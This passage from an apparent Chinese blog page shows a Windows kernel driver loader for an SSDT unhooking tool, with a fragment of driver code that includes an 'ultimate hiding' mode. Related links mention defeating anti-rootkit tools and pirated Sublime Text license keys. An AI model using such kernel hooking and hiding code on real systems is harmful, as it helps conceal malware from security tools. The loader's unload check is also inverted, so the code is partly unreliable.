strcpy(Tmp, "UnHOOK OK"); } else { strcpy(Tmp, "UnHOOK Error"); } break; } case L_HOOK: // 終極隱藏 _L_HOOK = TRUE; strcpy(Tmp, "已經啟動終極隱藏"); break; } strcpy(OutputBuffer, Tmp); Info = strlen(Tmp); return Info; } Exe完整程式原始碼 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "stdlib.h" #include "stdio.h" #include<winioctl.h> //CTL_CODE #define UHook CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS) BOOL LoadNTDriver(char* lpDriverName,char* lpDriverPathName) { BOOL bRet = FALSE; SC_HANDLE hServiceMgr=NULL;//SCM管理器的控制代碼 SC_HANDLE hServiceDDK=NULL;//NT驅動程式的服務控制代碼 //開啟服務控制管理器 hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hServiceMgr == NULL ) { //OpenSCManager失敗 //TRACE( "OpenSCManager() Faild %d ! \n", GetLastError() ); bRet = FALSE; goto BExit; } //建立驅動所對應的服務 hServiceDDK = CreateService( hServiceMgr, lpDriverName, //驅動程式的在登錄檔中的名字 lpDriverName, // 登錄檔驅動程式的 DisplayName 值 SERVICE_ALL_ACCESS, // 載入驅動程式的訪問許可權 SERVICE_KERNEL_DRIVER,// 表示載入的服務是驅動程式 SERVICE_DEMAND_START, // 登錄檔驅動程式的 Start 值 SERVICE_ERROR_IGNORE, // 登錄檔驅動程式的 ErrorControl 值 lpDriverPathName, // 登錄檔驅動程式的 ImagePath 值 NULL, NULL, NULL, NULL, NULL); DWORD dwRtn; //判斷服務是否失敗 if( hServiceDDK == NULL ) { dwRtn = GetLastError(); if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS ) { //由於其他原因建立服務失敗 //TRACE( "CrateService() 失敗 %d ! \n", dwRtn ); bRet = FALSE; goto BExit; } else { //服務建立失敗,是由於服務已經創立過 //TRACE( "CrateService() 服務建立失敗,是由於服務已經創立過 ERROR is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" ); } // 驅動程式已經載入,只需要開啟 hServiceDDK = OpenService( hServiceMgr, lpDriverName, SERVICE_ALL_ACCESS ); if( hServiceDDK == NULL ) { //如果開啟服務也失敗,則意味錯誤 dwRtn = GetLastError(); //TRACE( "OpenService() 失敗 %d ! \n", dwRtn ); bRet = FALSE; goto BExit; } } //開啟此項服務 bRet= StartService( hServiceDDK, NULL, NULL ); if( !bRet ) //開啟服務不成功 { //TRACE( "StartService() 失敗 服務可能已經開啟%d ! \n", dwRtn ); bRet = FALSE; goto BExit; } bRet = TRUE; //離開前關閉控制代碼 BExit: if(hServiceDDK) { CloseServiceHandle(hServiceDDK); } if(hServiceMgr) { CloseServiceHandle(hServiceMgr); } return bRet; } //解除安裝驅動程式 BOOL UnLoadSys( char * szSvrName ) { //一定義所用到的變數 BOOL bRet = FALSE; SC_HANDLE hSCM=NULL;//SCM管理器的控制代碼,用來存放OpenSCManager的返回值 SC_HANDLE hService=NULL;//NT驅動程式的服務控制代碼,用來存放OpenService的返回值 SERVICE_STATUS SvrSta; //二開啟SCM管理器 hSCM = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hSCM == NULL ) { bRet = FALSE; goto BeforeLeave; } //三開啟驅動所對應的服務 hService = OpenService( hSCM, szSvrName, SERVICE_ALL_ACCESS ); if( hService == NULL ) { bRet = FALSE; goto BeforeLeave; } //四停止驅動程式,如果停止失敗,只有重新啟動才能,再動態載入。 if( !ControlService( hService, SERVICE_CONTROL_STOP , &SvrSta ) ) { bRet = FALSE; goto BeforeLeave; } //五動態解除安裝驅動服務。 if( !DeleteService( hService ) ) //TRUE//FALSE { bRet = FALSE; goto BeforeLeave; } bRet = TRUE; //六 離開前關閉開啟的控制代碼 BeforeLeave: if(hService>0) { CloseServiceHandle(hService); } if(hSCM>0) { CloseServiceHandle(hSCM); } return bRet; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char FilaPath[MAX_PATH] = {0}; char FileName[MAX_PATH] = "UnHook.sys"; if(!strstr(lpCmdLine, "-") || !strstr(lpCmdLine,"<") || !strlen(lpCmdLine)) { puts("引數格式:指定Nt核心函式的SSDT序列號-Nt核心函式命<"); puts("例如:122-NtOpenProcess<"); return 1; } GetModuleFileName(NULL,FilaPath,MAX_PATH); *(strrchr(FilaPath,'\\')+1) = '\0'; strcat(FilaPath, FileName); if (!LoadNTDriver(FileName, FilaPath)) { puts("載入驅動失敗!..."); return 1; } Sleep(100); HANDLE hDevice = NULL; hDevice = CreateFile("\\\\.\\LoveMengx_UnSSDTHOOK_Driver", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hDevice) { puts("開啟驅動失敗..."); return 1; } char Buff[1024] = {0}; char Tmp[1024]= {0}; ULONG dwWrite; DeviceIoControl(hDevice, UHook, Buff, strlen(Buff), Tmp, 1024, &dwWrite, NULL); if (UnLoadSys(FileName)) { puts("解除安裝驅動失敗..."); return 1; } puts("完成操作~~"); return 0; }
相關推薦
SSDT HOOK技術輕鬆讓最新版冰刃、XueTr失效
剛開始學驅動,成功HOOK NtOpenProces 現在本想試試HOOK NtQuerySystemInformation,沒想打它的結構N多N長,也讓我很驚訝,這個API居然能獲取或者設定超過50多種的資訊。 參考網上的一些程式碼,看的我暈頭轉向的..也
安裝MongoDB最新版4.0、及配置和啟動實例
logs 默認端口 info mkdir -p 其他 gem nosql數據庫 eml pytho MongoDB簡介: 1.MongoDB是一款基於分布式文件存儲的開源的文檔數據庫,並且是業內領先的NoSQL數據庫,用C++編寫而成。2.在高負載的情況下,添加更多的節點,
2018最新版 手機號、驗證碼正則表示式 jq + 小程式
HTML: <!-- 表單 --> <input class="weui-input" id="tel" type="tel" placeholder="請輸入手機號"> <input class="weui-input" t
最新版windows 2012R2、Apache24、mod_wsgi、Django1.9、python3.4專案部署(生產環境)
感慨一句,歷經千辛萬苦終於在騰訊雲windows2012R2伺服器上部署了Django個人部落格。話不多說,大家先看看效果。Django個人部落格 個人 心得:第一次在wondows伺服器上部署Django。饒了很大彎子,踩了很多坑。現在回過頭總結,常見
Sublime Text 最新版啟用碼、授權碼、註冊碼
—– BEGIN LICENSE —– TwitterInc 200 User License EA7E-890007 1D77F72E 390CDD93 4DCBA022 FAF60790 61AA12C0 A37081C5 D0316412 4584D136 94D7F7
還不會搭建高可用redis架構?技術大牛最全總結讓你一學就會!
題記 Redis 是一個開源的使用 ANSI C 語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value 資料庫,並提供多種語言的 API。 如今,網際網路業務的資料正以更快的速度在增長,資料型別越來越豐富,這對資料處理的速度和能力提出了更高要求。Re
工作2-5年java程式設計師,這六個技術棧讓你輕鬆漲薪50%
工作多年以及在面試中,我經常能體會到,有些面試者確實是認真努力工作,但坦白說表現出的能力水平卻不足以通過面試,通常是兩方面的原因: 1、“知其然不知其所以然”。做了多年技術,開發了很多業務應用,但似乎並未思考過種種技術
尚觀教育 最新版Oracle進階+優化+集訓視訊教程 41集Oralce輕鬆入門-高階部分
課程簡介: 現在階段掌握一門吃香的技術才是我們能在社會中立足,很多人比較青睞oracle開發工程師的工作,今天樓主在這裡分享了oracle基礎學習全套視訊教程,需要的朋友可以看看! -------------------課程目錄------------------- d
android hook技術-Xposed框架 幫你輕鬆應對支付寶2016晒賬單
一、支付寶2016年賬單。 最近幾天微信朋友圈充斥著各式的支付寶2016賬單,對於程式設計師屌絲來說打開發現年度消費9W+,和他們動輒十幾萬的消費沒得比,細看更有80%的消費還都是還信用卡,頓時萬念俱灰啊!!! 有木有!!! 突然看到有人發出了負數的賬單,也是醉了。。。看
幹貨分享!DevExpressv16.2最新版演示示例等你來收!(下)
二進制 最新動態 版本升級 為解決大家找資源難的問題,EVGET聯合DevExpress控件中文網盤點熱門的DevExpress資訊、Demo示例、版本升級及下載,以及各種教程推薦等。更多下載及資訊也可以在DevExpress控件中文網中找到,及時了解最新動態>>示例Demo(仍在持續
PHP一鍵集成環境phpStudy最新版安裝包分享
下載地址 控制面板 最新版 linux 操作系統 今天春哥技術博客來給大家分享一下最新版的phpstudy安裝包,phpstudy非常好用的一款一鍵集成php環境安裝包,很多人都在用,我們春哥技術團隊也一直在用,非常好用,推薦給大家。我們推薦用phpstudy默認的組合:php5.4.45
離線安裝docker最新版,記得要以下三個包。
oar btool 最新版 刪除 html root images ges con 如果安裝了以前版本,還要刪除以下這個包。 container-selinux.noarch 2:2.10-2.el7 ============== 離線安裝三個rpm -rw-r--
一個技術人,最重要的是:極客精神(好奇心 + 探索欲)
重要 大神 net 最大的 程序員 領域 實戰 探索 市場需求 一個技術人,最重要的是:極客精神(好奇心 + 探索欲) 初到社會,面對眾多的IT企業,我們是陌生與好奇的,認為所有企業都是管理一流並且高大上等的。然而工作多年以後你會發現,國內的
centos7編譯安裝最新版Git
ref pla clas 獲取 解壓 lan tle lang hub 安裝依賴包 yum -y install zlib-devel curl-devel openssl-devel perl cpio expat-devel gettext-devel openssl
最新版,別的可以不用看了,zabbix 監控 esxi
下載次數 最新版 朋友 監控 信息 【請細心的把本文檔讀完,如果不讀不要過來問我,如果是廢話我也不會碼這麽多字!】之前因為自己需要寫了ESXi的監控帖子,沒想到很受歡迎。因為文檔等內容寫的不夠詳細,導致很多朋友部署的時候遇到了各種問題,趁換工作的空當來總結一下這個監控文檔的使用方法。以後可
高仿百思不得姐(最新版4.5.6)
需要 screen 高仿 property rect society 多選 透明 nav 先上效果圖 1 2 3 4 5 6 7 8 9 10 11 本demo已經實現以下功能 音視頻播放器 啟動廣告 語音、圖片評論顯示 長文本收縮與展開切
近期的技術問題讓雲供應商進行預設加密
gravity 積極 one dsm 無線網絡 由於 雲硬盤 檔案 斷線 在過去的一年裏,加密一直是個熱門話題。因為個人和企業越來越意識到監視活動的添加,還有像CryptoLocker勒索軟件這樣顛覆性的惡意軟件。讓加密變成一種破壞行為而非保護功能。在這期間,網絡公
jenkins最新版下載安裝
操作 password mir 密碼 html post htm www webapp 安裝方法參考:https://jenkins.io/doc/book/getting-started/installing/ 拷貝jenkins.war到服務器上,安裝 執行命令
cenos下安裝MySQL最新版(5.7.18)記錄。附卸載老版本過程
date -s lib 包括 localhost utf8 lte 作者 detail 首先說明:老版本數據庫沒有數據,所以無數據備份過程。如果你在升級數據庫過程裏,需要備份數據,請另外自行處理。 1、下載最新版MySQL、解壓待用 wget https://dev
nginx 升級為最新版 nginx -1.12.0
nginx公司目前使用的nginx版本比較低(nginx-1.0.12),請網絡安全公司做了一下“遠程安全評估”,發現有下列漏洞: nginx URI處理安全限制繞過漏洞(CVE-2013-4547) Nginx ‘access.log‘不安全文件權限漏洞(CVE-2013-0337) nginx SSL會話